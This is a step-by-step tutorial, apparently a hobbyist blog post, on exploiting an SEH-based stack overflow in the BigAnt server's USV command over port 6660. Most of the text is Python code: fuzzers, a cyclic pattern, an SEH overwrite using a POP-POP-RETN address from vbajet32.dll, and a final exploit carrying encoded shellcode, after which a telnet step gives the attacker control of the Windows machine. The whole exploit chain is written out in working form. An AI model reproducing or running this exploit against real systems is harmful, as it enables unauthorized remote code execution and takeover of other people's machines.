SEH Based Stack Overflow "BigAnt server"

This time I will try to exploitation on BigAnt server applications

• The first application we will use wireshark, to see BigAnt server application running on port number

bigantserver seen running on port 6660.
good starting point for pushing start

 Another advantage iyalah., we can perform remote
and application which is based SEH stack overflow.


still wondering if What is SEH (Structured Exception Handling)
can be viewed on the link below:
http://msdn.microsoft.com/en-us/library/ms680657%28v=vs.85%29.aspx 

• Let's start by making fuzzing in the command "USV" owned by bigantserver

my fuzzer:

#!/usr/bin/pyton

import socket

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = "USV "+"\x41" * 2500 + "\r\n\r\n"

sock.connect(("192.168.56.101", 6660))

sock.send(buffer)

sock.close()

print"you down.."

BigAnt first open the application server. The next open OllyDbg. click on the file menu and click on the menu attach OllyDbg. My next pick Antserver menu.

• running your fuzzing.

• see the results., ESI only the affected memory

• This application crashes, but this time unlike the previous case,
  EIP register are not affected by the buffer that we send.

to look into the SEH, select the menu view -> SEH cain.
will display a table, as shown below

• we then forward the data from the SEH chain into memory.
  press shift + F9

Now note that the EIP be "\ X41"

•  further to see the data that resides in memory applications.
  Right click on the row stack -> follow in dump

• the next stage. locate command POP, POP, RETN
  in OllyDbg we select view -> Executable Modules -> double click on the file vbajet.dll

• after entering into windows CPU from vbajet 32.dll file
  right click -> Search For -> Sequence of Commands

it will display a search window will appear.
enter as the image and click find

• OllyDbg will lead to a memory address in the file vbajet32

OllyDbg now have found the address in memory that is at offset 0F9A196A vbajet32

address pop, pop, retn

• pattren_create next we create a string of 2500 bytes.

copy is to the application fuzzer we have made

• I then put a string pattern in my application fuzzer

fuzzer pattern:

#!/usr/bin/pyton

import socket

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = "USV "

buffer+="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2D"+ "\r\n\r\n"

sock.connect(("192.168.56.101", 6660))

sock.send(buffer)

sock.close()

print"you down.."

• behold., BigAnt server to crash. repeat as in the beginning., into the SEH chain and press shif + F9

•  then find the total value obtained in the EIP

•  then change back to your fuzzer

fuzzer:

#!/usr/bin/pyton

import socket

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = "USV "

buffer+= "\90" * 962

buffer+= "\xCC\xCC\xCC\xCC"

buffer+= "\x41\x41\x41\x41"

buffer+= "\x90" * (2504 - len(buffer))

buffer+= "\r\n\r\n"

sock.connect(("192.168.56.101", 6660))

sock.send(buffer)

sock.close()

print"you down.."

• after our fishing SEH. Next we enter the fuzzer that has a command POP, POP, RETN

I tried running the fuzzer which has been made​​.,
but always failed.
My next change., almost the same as in the book harmes haking

 

FUZZING:

#!/usr/bin/python

import socket

target_address="192.168.56.101"

target_port=6660

buffer = "USV "

buffer+= "\x90" * 962

buffer+= "\xCC\xCC\xCC\xCC"

buffer+= "\x6A\x19\x9A\x0F"

buffer+= "\x90" * (2504-len(buffer))

buffer+= "\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect=sock.connect((target_address,target_port))

sock.send(buffer)

sock.close()

print"you down.."

• before running the fuzzing it is restarted again on BigAnt server applications and ollydebg. then make the address on the address of SEH brakpoit memory, plug the module into the poitbreak vbajet32 , then run the fuzzer

• click shift +F9. to continue the process into the memory

• Right click on the first memory -> follow in dump
  shown in the lower left corner "direct memory into the memory stack

• then we make the shellcode using. / msfweb 

• klick generate payload.

• Olly debug and look at the chain safe., seen that seh storing the wrong value

and now try to delete the contents of the payload and restart OllyDbg and see the SEH cain

• then we try to insert a payload-line per line

  

 
 I found a bad character on the line to 14



I've found the bad character
  / x20
and I enter in my gennerade

• I tried re-generade

 

final fuzzer:

#!/usr/bin/python

import socket

target_address="192.168.56.101"

target_port=6660

buffer = "USV "

buffer+= "\x90" * 962

buffer+= "\xeb\x06\x90\x90"

buffer+= "\x6A\x19\x9A\x0F"

buffer+= "\x90" * 16

buffer+= ("\xba\xe9\x35\x3d\x58\x29\xc9\xb1\x51\xdb\xcf\xd9\x74\x24\xf4\x5f" "\x31\x57\x0e\x03\x57\x0e\x83\x2e\x31\xdf\xad\x4c\x50\xf4\x03\x44" "\x5c\xf5\x63\x6b\xff\x81\xf0\xb7\x24\x1d\x4d\x8b\xaf\x5d\x4b\x8b" "\xae\x72\xd8\x24\xa9\x07\x80\x9a\xc8\xfc\x76\x51\xfe\x89\x88\x8b" "\xce\x4d\x13\xff\xb5\x8e\x50\xf8\x74\xc4\x94\x07\xb5\x32\x52\x3c" "\x6d\xe1\xb3\x37\x68\x62\x9c\x93\x73\x9e\x45\x50\x7f\x2b\x01\x39" "\x9c\xaa\xfe\xc6\xb0\x27\x89\xa4\xec\x2b\xeb\xf7\xdc\x88\x8f\x7c" "\x5d\x1f\xdb\xc2\x6e\xd4\xab\xde\xc3\x61\x0b\xd6\x45\x1e\x02\xa8" "\x77\x32\x4a\xcb\x5e\xac\x38\x55\x37\x02\x8d\xf1\xb0\x17\xc3\x5e" "\x6b\x27\xf3\x08\x58\x3a\x08\xf3\x0e\x3a\x27\x5c\x26\x21\xae\xe3" "\xd5\xa2\x2d\xb6\x4f\xb1\xce\xe8\xf8\x6c\x39\xfd\x54\xd9\xc5\x2b" "\xf5\xb5\x6a\x80\xa9\x7a\xde\x65\x1d\x82\x30\x0f\xc9\x6d\xed\xa9" "\x5a\x07\xec\xa0\x35\xb3\xf5\xba\x02\xec\xf6\xec\xe7\x03\x58\x45" "\x07\xf3\x32\xc1\x5a\xda\x2b\x5e\x5a\xf5\xff\x35\x5b\x2a\x97\x50" "\xea\x4d\x21\xcd\x12\x87\xe2\xa5\xb8\x7d\xfc\x95\xd2\x16\xe5\x6c" "\x13\x9f\xbe\x71\x4d\x35\xbe\x5d\x14\xdc\x24\x3b\xb1\x43\xc8\x4a" "\xa4\xee\x42\x15\x0e\x23\xeb\x42\x3a\xff\x65\x6e\x8a\x3f\x86\xc4" "\x13\xfd\x44\xe6\xae\x2e\x04\x9b\x55\x17\x81\x08\x02\x0f\xa7\xb0" "\xe6\xc6\xb8\x39\x4d\x18\x90\x9a\x1a\xb4\x4c\x4d\xf4\x52\x6e\x3c" "\xa7\xf7\x21\x41\x97\x90\x6c\x64\x1d\xaf\x3c\x69\xc8\x45\x3c\x6a" "\xc2\x66\x12\x1f\x7a\x65\x10\xdb\xe1\x6a\xc1\xb1\x16\x44\x86\x4b" "\x31\x87\x24\xe0\x3e\x9e\x34\xd6")

buffer+= "\x90" * (2504-len(buffer))

buffer+= "\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect=sock.connect((target_address,target_port))

sock.send(buffer)

sock.close()

print"you down.."

• BigAnt OllyDbg and restart the server. and put a breakpoint on the address of SEH. note the value of the SEH cain, "according to the expected address" is the vbajet 32.

then do a telnet

and now the windows are fully owned by you

referens: Harmless Hacking